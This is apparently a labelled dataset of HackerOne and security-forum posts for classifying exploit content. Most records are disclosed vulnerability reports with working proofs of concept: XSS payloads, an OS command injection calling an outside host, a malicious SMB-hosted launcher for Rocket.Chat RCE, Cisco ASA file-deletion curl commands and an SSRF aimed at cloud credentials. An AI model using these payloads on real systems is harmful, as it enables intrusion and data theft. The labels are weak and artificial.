-{"id": "6d3fe3d2ef939aaaa10d", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS vulnerability with full CSP bypass in Nextcloud installations using recommended bundle\n\n## Summary:\n\nThe vulnerability report describes a reflected XSS vulnerability with full CSP bypass in Nextcloud installations using the recommended bundle. The vulnerability can be exploited to perform a trivial account takeover attack.\n\n## Steps To Reproduce:\n\n## Setup Nextcloud\nDownload the latest Nextcloud release from Docker and run it on port 80:\n\n```\ndocker run -d -p 80:80 nextcloud:latest\n```\n\nOpen `http://localhost` in your browser and enter your chosen admin username and password. On the next screen install all recommended apps. The standard \"Nextcloud Office\" here will result in installing the vulnerable `richdocumentscode` application (see [HubBundle.php](https://github.com/nextcloud/server/blob/eddc6f2103665d985a9e541b16d61fab5ba6a1ee/lib/private/App/AppStore/Bundles/HubBundle.php#L45)):\n\n{F2211280}\n\n## Exploitation\n\nOpen the following URL in your (or the victims) browser (the payload needs some extra encoding):\n\n> http://localhost/custom_apps/richdocumentscode/proxy.php?req=/browser/a4b9c74/cool.html?WOPISrc=http://example.com:%3c%69%6d%67%20%73%72%63%3d%27%27%20%6f%6e%65%72%72%6f%72%3d%27%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%29%29%3b%73%2e%73%72%63%3d%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%34%37%2c%20%34%37%2c%20%34%39%2c%20%35%33%2c%20%34%36%2c%20%31%31%34%2c%20%31%31%35%29%3b%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%27%3e\n\nThere is a full CSP bypass as the `proxy.php` from the default shipped \"richdocumentscode\" is not using a regular Nextcloud controller but plain PHP code:\n\n{F2211288}\n\n\n## Root cause\n\n1. Collabora Online is generating HTML documents using insecure string concatenation. ([code pointer](https://github.com/CollaboraOnline/online/blob/00b0fd48c949af475f8be0cc5bfd2149805f7905/wsd/FileServer.cpp#L719-L722))\n2. The included `proxy.php` inside the \"richdocumentscode\" is not applying any of the default CSP policies of Nextcloud, as it is running on the same origin this can be used for a trivial account take over attack. ([code pointer](https://github.com/CollaboraOnline/richdocumentscode/blob/3043ad186a9896899ff8d6f3ea83c93c5d487b48/proxy.php))\n\n## Impact\n\nThe vulnerability allows attackers to inject malicious code into web pages, which can be executed in the context of the victim's browser session. This means that an attacker can steal sensitive data, such as login credentials or personal information, or perform unauthorized actions on behalf of the victim, such as modifying or deleting data.\n\nIn this specific case, the vulnerability allows for a trivial account takeover attack. An attacker can exploit the vulnerability to inject code into the victim's browser session, allowing the attacker to take over the victim's account without their knowledge or consent. This can lead to unauthorized access to sensitive information and data, as well as the ability to perform actions on behalf of the victim.\n\nFurthermore, the fact that the vulnerability bypasses the Content Security Policy (CSP) makes it more dangerous, as CSP is an important security mechanism used to prevent cross-site scripting attacks. By bypassing CSP, attackers can circumvent the security measures put in place by the web application and execute their malicious code.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b627e7dd1a3e8b7e8d8f", "text": "[Resource Injection] Content injection in Jira issue title enabling sending arbitrary POST request as victim\n\n## Summary\n\nThe issue described here leads to the same outcome as my previous report, https://hackerone.com/reports/1409788 . So look into that one for further details on the JavaScript gadgets. Also see my report https://hackerone.com/reports/1481207 for a detailed rundown of injections in GitLab.\n\nThis time it is the `title` field of Jira issue pages that renders without proper HTML encoding. Leading to HTML and CSS injection. By abusing a script gadget and a browser quirk (tested on Chrome and Firefox) the injection can be escalated into a highly dangerous arbitrary POST request. Depending on the payload, this POST request can lead to account takeover(of OAuth/SAML accounts) and also generation of admin accounts giving full access to the whole instance.\n\nFor the H1 triager it is OK to skip to the POC as the description will contain a lot of GitLab specifics.\n\n## Background\nThere is a premium feature in GitLab where a user can connect a project with a Jira tracker. See https://docs.gitlab.com/ee/integration/jira/ . When this is set up there will be a path in the project like so: https://gitlab.com/GROUPNAME/PROJECTNAME/-/integrations/jira/issues where any tasks created in Jira will be automatically fetched and presented to the members of the project.\n\nGiving a task in Jira a title containing HTML will (if the Jira integration is set up in the project) generate an Jira issue in GitLab with the same title. When viewing the Jira issue details page (https://gitlab.com/GROUPNAME/PROJECTNAME/-/integrations/jira/issues/ISO-1) this title field will be displayed without proper HTML encoding and thus render the supplied HTML. The caveat here is that this HTML will be sanitized by DOMPurify as it is added through the Vue `v-safe-html` attribute.\n\nBut as I have shown in my previous reports, there exists some JavaScript gadgets that slips through DOMPurify in your current default settings.\n\nIf you reed my other reports you can also see that there exists a gadget leading to full XSS, this do require the injected data to be present in the page on initial load. In this case, the data is fetched in a subsequent request and thus miss the first run through main.js\n\nWhen a detail page for a Jira issue is first visited, the call for the issue data is actually too slow to hit the second tier of JavaScript gadgets (the code inside defered_execution in main.js). But I found a way to bypass this. When a browser leaves a page to visit another page, and then uses History.back (or the back button in the browser) the browser will not generate a complete rerun of the previous requests. It will instead use cached data, even for the data that is not supposed to be cached. So I found out that visiting a infected Jira issue page, browsing away from the page, and then clicking the back button to get to the Jira issue again, will speed up the data call to have it hit by the deferred part of main.js\n\nTo weaponize this, all we need is to first navigate away from the page to a server that just runs `History.back()` to directly redirect the user back to the malicious issue page and the payload will now trigger. All this can be made almost guarantied as the injection also allows for arbitrary CSS to be loaded. This makes it possible to craft a page that have an overlay link that will trigger on clicking anywhere.\n\n## The payload\nI will present two payloads that will show the potential damage from this attack.\n\nThere exists a limitation as for the injection, as Jiras tasks have a 255 letter limit. This is not much to work with, but with some trix we can still get both account takeover and admin creation to work inside this payload.\n\nFirst of we have a payload that will be able to perform account takeovers on accounts that do not have a password set. This is all OAuth registered accounts (and as far as I understand also SAML and maybe LDAP accounts). These accounts have an auto generated (strong! As of 14.9.2) password after the user signs up with, for ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4cba64e859348c496497", "text": "[OS Command Injection] Reflected XSS and Blind out of band command injection at subdomain dstuid-ww.dst.ibm.com\n\nI found an XSS and Blind OS based injection issue due to the incorrect handling of the  characters in THE EMAIL  get& post parameters.  A <script> injected and a sleep command succesfully executed, the following link works as a PoC that alerts the string in the script:\nI reproduced the same on Firefox and IE and Microsoft Edge\nXSS POC URL:-\nGET /cgi-bin/PasswordCreate.pl?email=%26nslookup%20%22dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh%22%2286m.r87.me%22cier4%3cscript%3ealert(1)%3c%2fscript%3emikflzhwaep&ibm-submit=Submit HTTP/1.1\nHost: dstuid-ww.dst.ibm.com\n\n\nhttps://dstuid-ww.dst.ibm.com/cgi-bin/PasswordCreate.pl?email=%26nslookup%20%22dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh%22%2286m.r87.me%22cier4%3cscript%3ealert(1)%3c%2fscript%3emikflzhwaep&ibm-submit=Submi\n\nOSCOMMAND INJECT\n\nPOST /cgi-bin/PasswordCreate.pl HTTP/1.1\nHost: dstuid-ww.dst.ibm.com\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-us,en;q=0.5\nCache-Control: no-cache\nContent-Length: 39\nContent-Type: application/x-www-form-urlencoded\nReferer: https://dstuid-ww.dst.ibm.com/PasswordCreate.html\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\nX-Scanner: Netsparker\n\nemail=-------------------------&ibm-submit=Submit\n\nFor the blind os command injection i used three variables:_\n1. A random email address (To bench mark the normal responce time\n2.  Ping requests  of 10 and 20 seconds \n\nThe reply from the server prooved that the  time-delay inference existed.\n\nSee attached videos and images for POC\n\n## Impact\n\nThis allows an attacker to inject custom Javascript codes that can be used to steal information from  user base and lure them to malicious websites on the internet on behalf of IBM website.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "03be280b67b7ee6f3036", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://██████████/████████ via \"███████\" parameter\n\nThere is Reflected Cross site scripting issue at the following url:\n\nhttps://████████/█████\n\nProof Of Concept\n\nhttps://████/███?███=%22onfocus%3d%22alert(document.domain)%22autofocus%3d%22&submit=Search\n\n███\n\nBest Regards\n@pelegn\n\n## Impact\n\nCookies Exfiltration\nSOAP Bypass\nCORS Bypass\nExecuting javascript on the victim behalf\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nNavigate to https://███████/████████?███████=%22onfocus%3d%22alert(document.domain)%22autofocus%3d%22&submit=Search\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b9e5386eedd4ca8f94fe", "text": "Hey, I;ve just got flag5. if you got flag4, the way to flag5 is not hard, but tricky.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "357cc9eb2dffe38e7ef0", "text": "[Code Injection] Arbitrary file download via \"Save .torrent file\" option can lead to Client RCE and XSS\n\n## Summary:\n\nAn attacker can use the \"Save .torrent file\" option in WebTorrent to smuggle malicious files onto the client's machine.\n\n## Description\n\nBrave allows users to download the \".torrent\"  via WebTorrent. WebTorrent decides whether a file is torrent or not based on the following headers `Content-Disposition` and `Content-Type` an attacker can craft a clever looking server side file to bypass the WebTorrent validation which in turn allows the users to download the malicious file instead of an actual torrent file, this behavior can easily lead to localhost* xss and client side RCE.\n\nI used the following PHP code to bypass the WebTorrent validation.\n\n```php\n<?php\n\nif(isset($_SERVER['HTTP_REFERER'])){\n    header(\"Content-Disposition: attachment; filename='PoC.torrent'; filename*=UTF-8''PoC.torrent\");\n    header(\"Content-Type: application/octet-stream\");\n}\nelse{\n    header(\"Content-Disposition: attachment; filename='PoC.bat'; filename*=UTF-8''PoC.bat\");\n    header(\"Content-Type: application/x-bat\");\n    echo \"@echo off\\n\";\n    echo \"START C:\\Windows\\NOTEPAD.EXE\";\n}\n?>\n\n```\nIn the above code when the `Referer` header is passed along with the request then only the server returns a torrent file response otherwise the server will return a `.bat` file which when executed will open notepad on a Windows Machine.\n\n## Tested on \n\n * Brave Version 1.12.114 Chromium: 84.0.4147.135 (Windows)\n\n## Steps To Reproduce:\n\n* Visit https://php-demo-app-shibli.cfapps.io/test-driver.php on your brave webbrowser on Windows OS.\n* Click on \"click me\" link\n* Click on \"Save .torrent file\" option\n* Save the file and open it.\n* When you will execute the file Notepad will open on our windows machine.\n\nBelow is a video POC for the above attack scenario\n\n{F956579}\n\n## Impact\n\n* Remote Code Execution\n* Remote JavaScript execution\n* Installing malware on client's machine", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7ed3c4b8e6a009021121", "text": "[OS Command Injection] Insecure use of shell.openExternal() in Rocket.Chat Desktop App leading to RCE\n\n**Summary:** The Rocket.Chat Desktop app passes the links users click on to Electron's `shell.openExternal()` function which can lead to remote code execution.\n\n**Description:** The filtering on the URLs passed to `shell.openExternal()` is insufficient. An attacker can craft and send a link that when clicked will cause malicious code from a remote origin to be executed on the user's system. The specific attack presented here has been tested with Xubuntu 20.04, however similar attacks are also possible on other systems, including non-Linux operating systems.\n\n## Releases Affected:\n\n  * Tested with latest release 2.17.10 from https://github.com/RocketChat/Rocket.Chat.Electron/releases\n  * Tested with latest commit `4c06582` on the `develop` branch from https://github.com/RocketChat/Rocket.Chat.Electron\n\n## Steps To Reproduce (from initial installation to vulnerability):\n\n  1. Install Rocket.Chat Desktop on Xubuntu 20.04.\n  2. Login and join a channel.\n  3. Setup a public Samba server (at `attacker.tld` in this example) and create a public share (named `public` here). In this share, publish the following file as `pwn.desktop` and make it executable:\n     \n     ```ini\n    [Desktop Entry]\n    Exec=bash -c \"(mate-calc &); xmessage \\\"Hello from Electron.\\\"\"\n    Type=Application\n     ```\n  4. From another account in the same channel, send the following message with the corresponding values replaced: `smb://attacker.tld/public/pwn.desktop`\n  5. Click the link and (if necessary) confirm starting the untrusted launcher.\n  6. Notice the calculator and message box appearing, confirming remote code execution.\n\n## Supporting Material/References:\n\n  * I have attached a video of the attack to the report.\n\n## Suggested mitigation\n\n  * The problem is in the filter for local file paths in the preload scripts that sets up the link handler here: https://github.com/RocketChat/Rocket.Chat.Electron/blob/4c06582ba3021fcf10e6230286231d50e26e2723/src/preload/links.js#L24\n  * The filter only acts as a blocklist, filtering out `file://` links. There are however plenty of other protocols depending on the system, like `smb://` as shown here. Therefore, only an allowlist can successfully prevent attacks here. Usually, allowing `http://`, `https://` and `mailto:` will be enough but you may have different requirements.\n\nBest Regards,  \nBenjamin Altpeter  \nTechnical University of Braunschweig, Germany\n\n## Impact\n\n* The attack can be triggered remotely by an attacker by simply sending a message to a channel.\n  * The particular attack presented here requires user interaction. The user has to click the link (which is not obfuscated) and potentially confirm launching the executable. The last part may not be necessary depending on the particular attack vector and system the user runs.\n  * This particular presented attack only works on certain Linux distributions. However, this is only due to the particular attack payload used (a Linux `.desktop` file accessed over Samba). Similar payloads will also work on other Linux distributions as well as Windows and macOS. The Electron documentation explicitly warns against using `shell.openExternal()` with untrusted content: https://www.electronjs.org/docs/tutorial/security#14-do-not-use-openexternal-with-untrusted-content\n  * If the attack is executed successfully, the attacker can run arbitrary code on the user's system.\n  * Patching the problem is simple and doesn't break any legitimate use cases that I can think of.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "64423f066434566b83b9", "text": "[Path Traversal] CVE-2020-3187 - Unauthenticated Arbitrary File Deletion\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences.\n\nThe IP has a SSL certificate pointing to .█████\ncurl -kv https://█████████/\n\noutput\n```\nServer certificate:\n*  subject: █████████.mil\n```\n\n## Impact\n\nAn exploit could allow the attacker to view or delete arbitrary files on the targeted system. When the device is reloaded after exploitation of this vulnerability, any files that were deleted are restored. The attacker can only view and delete files within the web services file system. This file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability can not be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. Reloading the affected device will restore all files within the web services file system.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3187\n\n## Steps to Reproduce\n1.First I performed a curl request to validate that /session_password.html gave a 200 response.\ncurl -k -s -i https://███/+CSCOE+/session_password.html\n2.Example to delete logo file \"/+CSCOU+/csco_logo.gif\".\ncurl -k -H \"Cookie: token=../+CSCOU+/csco_logo.gif\" https://██████/+CSCOE+/session_password.html\n\n_NOTE: No destructive behavior was performed on target, the above command will remove csco_logo.gif and can be restored on reboot of the device_\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3187"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "feaf4c892ad0d63b0f92", "text": "I’m sorry, most likely, the message will not reach the addressee, but isn’t trying to achieve the goal the path to success? I am engaged in multi-level testing of web resources, including Penetration Testing. If you still need it, I’ll be happy to help.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cc04de8ddfb0c26f728d", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS at image.hackerone.live via the `url` parameter\n\ngood day\n\nhttps://image.hackerone.live:8443/;/;/resource/md/get/url?url=http://oast.pro\n\n\nis allowing full read ssrf wirh permission can try for aws creds.\n\n-Eric\n\n## Impact\n\nfull read ssrf", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b809462542da2d18df6d", "text": "[Uncontrolled Resource Consumption] No password length restriction in reset password endpoint\n\nHi, \n\n##Summary:\nThere is no password length restriction in reset password endpoint at https://efss.qloud.my/index.php/login when resetting for new password.\n\n\n##Steps To Reproduce:\n1. Visit https://nextcloud.com/sign-up/ and Sign up.\n\n2. Logout and reset your password.\n\n 3.Go to your email and click on reset password link.\n4.Enter 150 characters or more as a password and confirm the characters.\n5.You will successfully logged in.\n\n## Impact\n\nAttacker can do denial of service to your server since there is no restriction in the length of password.\nExample when he enter like 2500 character, your server will crash for some time \nBelow Image is the impact of entering 2500 characters.\n\n##Mitigation :\n\nRestrict user to use less than 40 character as a password, while the restriction should be both on back-end and front-end (with javascript ).\n\n##THANK YOU", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "93757cd929c2a31274ae", "text": "[Improper Access Control - Generic] RepositoryPipeline allows importing of local git repos\n\n### Summary\n\nWhen importing a project via the BulkImports, the response field `httpUrlToRepo` from the client is used to fetch the repo:\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/bulk_imports/projects/pipelines/repository_pipeline.rb#L17\n```ruby\n        def load(context, data)\n          url = data['httpUrlToRepo']\n          return unless url.present?\n\n          url = url.sub(\"://\", \"://oauth2:#{context.configuration.access_token}@\")\n          project = context.portable\n\n          Gitlab::UrlBlocker.validate!(url, allow_local_network: allow_local_requests?, allow_localhost: allow_local_requests?)\n\n          project.ensure_repository\n          project.repository.fetch_as_mirror(url)\n        end\n```\n\n`Gitlab::UrlBlocker.validate` is called, but since no schemas are passed in it allows any (such as file) so long as the rest of the url is valid.\n\nThis means that if a url such as `file://aw.rs/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git` is supplied, this will end up being used by git fetch, eg:\n\n```bash\n$ git fetch file://aw.rs/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git\nfatal: '/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git' does not appear to be a git repository\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n```\n\nThis allows an attacker to import any local repository that the current machine has access to if the path is known.\n\nThe storage path for projects in gitlab is just based on a configurable folder combined with a bucketed sha2 hash of  the id, eg for project 38006449 the `Digest::SHA2.hexdigest(\"38006449\")` is  `b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562` so the path will be at `@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git`.\n\nThis can then be used to import any gitlab repository via the project id by calculating the path, such as the gitlab ctf project!\n\n`{gitlab-bounty-flag-7a3f26698d2ef146843d7209e5efc8ec}`\n\n\n### Steps to reproduce\n\n1. Create a private project with User A and edit the readme file, make note of the project id\n1. Download {F1892171} and edit line 99 with the new path to the repository above (replace `b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562` with the new `sha2[0:2]/sha2[2:4]/sha2`)\n1. Run the server with `FLASK_APP=fake_server.py FLASK_ENV=development flask run`\n1. Start ngrok with `ngrok http 500`\n1. User B, visit https://gitlab.com/groups/new#import-group-pane and enter your ngrok url, any token and hit connect\n1. In the browser console,  replace `\"destination_namespace\":\"vakzz\"` with your gitlab username (or a group you have access too) in the code below and run it:\n\n  ```javascript\nawait fetch(\"/import/bulk_imports.json\", { method: \"POST\", headers: { \"X-CSRF-Token\": document.querySelector(\"[name=csrf-token]\").content, \"Content-Type\": \"application/json\" }, body: `{\"bulk_import\":[{\"source_type\":\"project_entity\",\"source_full_path\":\"group1/project1\",\"destination_namespace\":\"vakzz\",\"destination_slug\":\"some_project_z_${Math.floor(Math.random() * 10000)}\"}]}` });\n  ```\n\n1. After a few minutes you should see a new project appear\n1. Initially it will just show `No repository`\n1. After another minute or so the project will either show `The repository for this project is empty`  or it will be a clone of the project from User A\n1. If you see `The repository for this project is empty` then just repeat the fetch call again, it can take a few tries to end up on the same server as the victim (I think that's what is happening)\n\nThis can also be done with a Helm install of gitlab using the base path of `/home/git/repositories` or using the omnibus edition, but you will need to check where the repositories are located ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4c64a5b4ae4f2ea9ef23", "text": "[Information Disclosure] Information Disclosure Leads To User Data Leak\n\nInformation disclosure is when a web application fails to properly protect confidential information, which causes revealing sensitive information or data of the users or anything related to users to any third party.\n\n## Summary:\nAm able to get any MTN users data such as FULL NAME, CUSTOMER TYPE AND PICTURE.\nI can get those data by using only phone number of any MTN users.\nVUL URL: https://mtnautotopup.mtnonline.com/autotopup/app/sign-up-phone \nVUL URL: https://197.210.3.135/autotopup/app/sign-up-phone\n~NOTE: Tested with a Nigeria phone number that belong to me.\n\n## Steps To Reproduce:\n\n  1. Visit `https://mtnautotopup.mtnonline.com/autotopup/app/sign-up-phone` or `https://197.210.3.135/autotopup/app/sign-up-phone`\n  2. Put in a phone number and catch the request via BURP\n  3. INTERCEPT  the request of `GET /vtu-service/api/pwa/pub/get-bio-data/081*******`\n  4. The response contains Fullname, Customer Type and Picture of the user.\n\n## Supporting Material/References:\nVUL REQUEST:\n```\nGET /vtu-service/api/pwa/pub/get-bio-data/070******** HTTP/1.1\nHost: mtnautotopupservices.mtnonline.com\nSec-Ch-Ua: \"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"99\"\nAccept: application/json, text/plain, */*\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nOrigin: https://mtnautotopup.mtnonline.com\nSec-Fetch-Site: same-site\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://mtnautotopup.mtnonline.com/\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n```\nRESPONSE:\n```\nHTTP/1.1 200 OK\nDate: Thu, 14 Apr 2022 20:11:05 GMT\nServer: WildFly/10\nX-Frame-Options: https://mtnautotopup.mtnonline.com, https://mtnautotopupservices.mtnonline.com, https://billable.mtnonline.com, https://mtnautotopup.mtnonline.com, https://mtnautotopupservices.mtnonline.com, https://billable.mtnonline.com\nAccess-Control-Allow-Credentials: “true”, “true”\nAccess-Control-Expose-Headers: origin, content-type, accept, Authorization,Access-Control-Allow-Origin, origin, content-type, accept, Authorization,Access-Control-Allow-Origin\nAccess-Control-Allow-Headers: Access-Control-Allow-Headers, Origin,Accept, X-Requested-With, Content-Type, Access-Control-Request-Method,Access-Control-Request-Headers, Authorization, Access-Control-Allow-Methods, Access-Control-Allow-Headers, Origin,Accept, X-Requested-With, Content-Type, Access-Control-Request-Method,Access-Control-Request-Headers, Authorization, Access-Control-Allow-Methods\nX-XSS-Protection: 1; mode=block\nReferrer-Policy: origin-when-cross-origin\nAccess-Control-Allow-Origin: *\nX-Powered-By: Undertow/1\nContent-Type: application/json\nCache-Control: max-age=0, public, no-cache, private, no-store\nExpires: Sat, 16 Apr 2022 20:11:05 GMT\nAccess-Control-Allow-Methods: PUT, GET, POST, DELETE, OPTIONS\nX-Content-Type-Options: nosniff\nX-Content-Security-Policy: default-src 'self' *.mtnonline.com\nStrict-Transport-Security: max-age=631138519; includeSubDomains\nFeature-Policy: vibrate *; usermedia *; sync-xhr *\nAccess-Control-Allow-Methods: PUT, GET, POST, DELETE, OPTIONS\nX-Content-Security-Policy: default-src 'self' *.mtnonline.com\nFeature-Policy: vibrate *; usermedia *; sync-xhr *\nConnection: close\nContent-Length: 295017\n\n{\"responseCode\":\"00\",\"responseDescription\":\"Successful\",\"firstname\":\"EXPOSE\",\"lastname\":\"EXPOSE\",\"othername\":\"EXPOSE\",\"customerType\":\"Prepaid\",\"profileImg\":\"EXPOSE\"}\n```\nNOTE: I replaced the exposed data with EXPOSE.\n\n## Impact\n\nAn attacker can retrieve any users data (like full name, Customer Type, and Picture) by just using the victim phone number.\nThis can be use for information gathering about someone for malicious use or criminal activity.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a888e5050a29ef21ecb9", "text": "hi, I have the same problem, i tried this but it doesn’t seem to be the answer : npm exec http-server – -p 8080 then i have : Starting up http-server, serving ./ http-server version: 14.1.1 http-server settings: CORS: disabled Cache: 3600 seconds Connection Timeout: 120 seconds Directory Listings: visible AutoIndex: visible Serve GZIP Files: false Serve Brotli Files: false Default File Extension: none Available on: http://127.0.0.1:8080 http://192.168.1.19:8080 Hit CTRL-C to stop the server", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1209790a0df789076f08", "text": "[Improper Access Control - Generic] Subdomain takeover http://accessday.opn.ooo/\n\nI found unused accessday.opn.ooo subdomain was delegated to wix.com and not claimed.\n\n##Steps To Reproduce:\n- Visit http://accessday.opn.ooo/\n- This domain pointing towards to WIX cdn, anyone can claim this subdomain\n\n##Similar report:\nhttps://hackerone.com/reports/1256389\nhttps://hackerone.com/reports/996956\nhttps://hackerone.com/reports/1183296\n\n## Impact\n\nAn attacker can claim this subdomain and abused for specific purposes", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5c147b5ddb48c83d73e4", "text": "[Information Disclosure] springboot actuator is leaking internals at ██████████\n\n### Proof of Concept\n\nIf you go to https://█████████/actuator you'll get a complete overview of all the endpoints that are accessable \n(Suggestion: Use a Firefox Browser if possible, its json representation is well formed and the links are clickable )\n\n██████████\n\n## Impact\n\nInformation Disclosure \n\n* https://████/actuator/beans\nDisplays a complete list of all the Spring beans in your application.\n\n* https://██████████/actuator/caches\nExposes available caches. For ███ it is empty\n\n* https://███████/actuator/health\nThe actual status of the actuator is displayed\n```\nstatus\t\"UP\"\ncomponents\t\ndiskSpace\t\nstatus\t\"UP\"\ndetails\t\ntotal\t1167859712\nfree\t1167810560\nthreshold\t10485760\nexists\ttrue\nping\t\nstatus\t\"UP\"\n```\n\n* https://███/actuator/info\nversion and  built time are displayed\n```\t\nbuild\t\nversion\t\"1.2.1-SNAPSHOT\"\nartifact\t\"unregister-file-endpoint\"\nname\t\"UnregisterFileEndpoint\"\ngroup\t\"com.hexusfed\"\ntime\t\"2022-06-30T14:44:23.879Z\"\n```\n\n* https://██████████/actuator/conditions\nShows the conditions that were evaluated on configuration and auto-configuration classes and the reasons why they did or did not match.\n\n* https://█████/actuator/configprops\nDisplays a collated list of all configuration properties.\n\n* https://█████/actuator/env\ncontains internal paths, ports, version numbers etc.\n\n* https://███/actuator/loggers\nconfiguration of loggers in the application\n\n* https://███/actuator/heapdump *** (CRITICAL)***\nDownloads a complete  heap dump file (about 30 MBs). This file has a  PHD-format and can be analyzed with a heapdump analyzer tool.\n\n* https://█████████/actuator/threaddump\nPerforms a thread dump.\n\n* https://████████/actuator/metrics\ninternal metrics\n\n* https://█████/actuator/scheduledtasks\nFor this system there are no scheduled tasks running\n\n* https://█████/actuator/mappings\nDisplays a collated list of all request paths (mapped to the coresponding internal software module).\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\nspring-boot.actuator.v3\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nIf you use the link https://███████/actuator, you'll see all the leaked endpoints in a json file\n\n## Suggested Mitigation/Remediation Actions\nBy default, all endpoints except for shutdown are enabled. To configure the enablement of an endpoint, use its management.endpoint.<id>.enabled 